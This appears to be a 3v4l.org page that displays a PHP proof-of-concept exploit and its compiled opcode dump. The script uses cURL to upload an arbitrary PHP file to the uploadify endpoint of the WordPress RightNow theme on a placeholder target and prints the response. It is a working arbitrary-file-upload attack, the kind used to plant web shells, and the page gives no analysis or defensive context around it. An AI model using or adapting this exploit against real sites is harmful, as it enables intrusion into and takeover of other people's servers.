3v4l.org

run code in 300+ PHP versions simultaneously
<?php $uploadfile="YourFile.php"; $ch=curl_init("http://[Target]/rightnowwp/wp-content/themes/RightNow/includes/uploadify/upload_settings_image.php"); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, array('Filedata'=>"@$uploadfile")); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $postResult = curl_exec($ch); curl_close($ch); print "$postResult"; ?>
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/NcZls
function name:  (null)
number of ops:  36
compiled vars:  !0 = $uploadfile, !1 = $ch, !2 = $postResult
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    3     0  E >   ASSIGN                                                   !0, 'YourFile.php'
    4     1        INIT_FCALL_BY_NAME                                       'curl_init'
          2        SEND_VAL_EX                                              'http%3A%2F%2F%5BTarget%5D%2Frightnowwp%2Fwp-content%2Fthemes%2FRightNow%2Fincludes%2Fuploadify%2Fupload_settings_image.php'
          3        DO_FCALL                                      0  $4      
          4        ASSIGN                                                   !1, $4
    5     5        INIT_FCALL_BY_NAME                                       'curl_setopt'
          6        SEND_VAR_EX                                              !1
          7        FETCH_CONSTANT                                   ~6      'CURLOPT_POST'
          8        SEND_VAL_EX                                              ~6
          9        SEND_VAL_EX                                              <true>
         10        DO_FCALL                                      0          
    6    11        INIT_FCALL_BY_NAME                                       'curl_setopt'
         12        SEND_VAR_EX                                              !1
         13        FETCH_CONSTANT                                   ~8      'CURLOPT_POSTFIELDS'
         14        SEND_VAL_EX                                              ~8
    7    15        NOP                                                      
         16        FAST_CONCAT                                      ~9      '%40', !0
         17        INIT_ARRAY                                       ~10     ~9, 'Filedata'
         18        SEND_VAL_EX                                              ~10
         19        DO_FCALL                                      0          
    8    20        INIT_FCALL_BY_NAME                                       'curl_setopt'
         21        SEND_VAR_EX                                              !1
         22        FETCH_CONSTANT                                   ~12     'CURLOPT_RETURNTRANSFER'
         23        SEND_VAL_EX                                              ~12
         24        SEND_VAL_EX                                              1
         25        DO_FCALL                                      0          
    9    26        INIT_FCALL_BY_NAME                                       'curl_exec'
         27        SEND_VAR_EX                                              !1
         28        DO_FCALL                                      0  $14     
         29        ASSIGN                                                   !2, $14
   10    30        INIT_FCALL_BY_NAME                                       'curl_close'
         31        SEND_VAR_EX                                              !1
         32        DO_FCALL                                      0          
   11    33        CAST                                          6  ~17     !2
         34        ECHO                                                     ~17
   12    35      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
188.23 ms | 1395 KiB | 13 Q